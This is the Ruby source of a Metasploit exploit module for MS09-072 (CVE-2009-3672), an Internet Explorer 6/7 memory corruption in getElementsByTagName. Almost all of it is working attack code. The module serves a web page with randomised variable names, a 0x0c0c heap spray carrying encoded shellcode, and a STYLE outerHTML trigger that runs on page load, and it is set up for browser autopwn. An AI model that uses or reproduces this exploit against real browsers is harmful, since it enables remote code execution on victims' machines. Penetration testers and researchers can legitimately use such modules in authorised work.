This Metasploit module exploits a vulnerability in the getElementsByTagName function as implemented within Internet Explorer.
d11edd52626b5a17b7f199e8ad2f6694a46ee39e57f58766dc6ad4feb982d0fc##
# $Id: ms09_072_style_object.rb 7775 2009-12-09 15:06:26Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
:rank => LowRanking # exploitable on ie7/vista
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer Style getElementsByTagName Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the getElementsByTagName function
as implemented within Internet Explorer.
},
'License' => MSF_LICENSE,
'Author' =>
[
'securitylab.ir <K4mr4n_st[at]yahoo.com>',
'jduck'
],
'Version' => '$Revision: 7775 $',
'References' =>
[
['MSB', 'MS09-072'],
['CVE', '2009-3672'],
['OSVDB', '50622'],
['BID', '37085'],
['URL', 'http://www.microsoft.com/technet/security/advisory/977981.mspx'],
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Nov 20 2009',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# resulting eips:
# 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)
# 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)
# nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)
# 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)
# 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)
print_status("Entering heap spray mode for #{cli.peerhost}:#{cli.peerport}")
var_memory = rand_text_alpha(rand(100) + 1)
var_boom = rand_text_alpha(rand(100) + 1)
var_body = rand_text_alpha(rand(100) + 1)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_ss = rand_text_alpha(rand(100) + 1)
var_fb = rand_text_alpha(rand(100) + 1)
var_bk = rand_text_alpha(rand(100) + 1)
html = %Q|<!DOCTYPE>
<head>
<script language=javascript>
function #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }
function #{var_body}(){
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
var #{var_ss} = 20 + #{var_shellcode}.length;
while (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray};
#{var_fb} = #{var_spray}.substring(0,#{var_ss});
#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});
while(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};
var #{var_memory} = new Array();
for (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};
#{var_boom}();
}
</script>
<STYLE>* { margin: 0; overflow: scroll }</STYLE>
<BODY ONLOAD="#{var_body}()">
</body>
</html>
|
# Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
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